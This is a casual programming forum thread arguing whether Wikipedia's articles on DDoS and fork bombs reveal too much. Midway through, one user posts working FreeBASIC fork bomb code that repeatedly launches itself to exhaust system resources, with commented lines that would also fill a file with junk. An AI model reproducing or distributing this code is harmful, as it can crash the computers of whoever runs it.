Wikipedia is probably giving a bit too much info

[Kevin_theprogrammer]

Look at the article on DDoS and Fork Bombs. A tad too much information, dont you think?

[Z!re]

Nope

[KiZ]

No. Even large companies such as IBM release articles on hacking & cracking and such, with detailed examination of methods used. These articles are a way of helping people to understand attacks to better create solutions for them. Anyone wanting information on how to perform DDOS or similar attacks can easily find that information anyway, without the help of wikipedia.

[Kevin_theprogrammer]

Meh, script kiddies only DDoS anyways...

[Dio]

now this is too much info. :wink: or not enough. you decide.

[Zack]

I'm going to try that batchfile thing on my computer.

[yetifoot]

Have you read about 'Reflective DoS' attack? This was quite interesting in that it takes advantage of DNS servers to make a massive attack.

Heres a slightly briefer (hahahaha) article about underwear

http://simple.wikipedia.org/wiki/Underwear

[thegrogen]

I wrote a forkbomb in FB last year. Here's the code (not the original code, it's been rewritten several times), if anyone wants it...

Code:

' This program crashes your computer by opening an infinite number of command prompt boxes

' NOTE: uncomment the commented stuff below to crash the HDD as well


'open "blah.txt" for append as #2
'print #2, "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA";
shell "forkbomb.exe"

do
    shell "forkbomb.exe"
loop


'close #2
end

[na_th_an]

I strongly thing that there's no such a thing as "too much information".

ALL the information must be available. Everything. Hiding information to the masses is censorship *and* considering them stupid.

The problem is not that a guy who wants to build a forkbomb has the info in the wikipedia. The problem is that this guy wants to create a forkbomb.

Why does he? Think about it.

As everything, this is a matter of education.

[Pritchard]

Only reason I hide a few of the programs I've made is so I don't get arrested ^_^;; Let's just call the program I made "program X"

Law: "You are allowed to build Program X, but you are not allowed to distribute it"

Now I have no respect for anyone else but me, but until I'm powerful enough where I can't be locked in a jail cell, can't be held by handcuffs, and can't be harmed by guns, I'm going to obey the Law about Program X.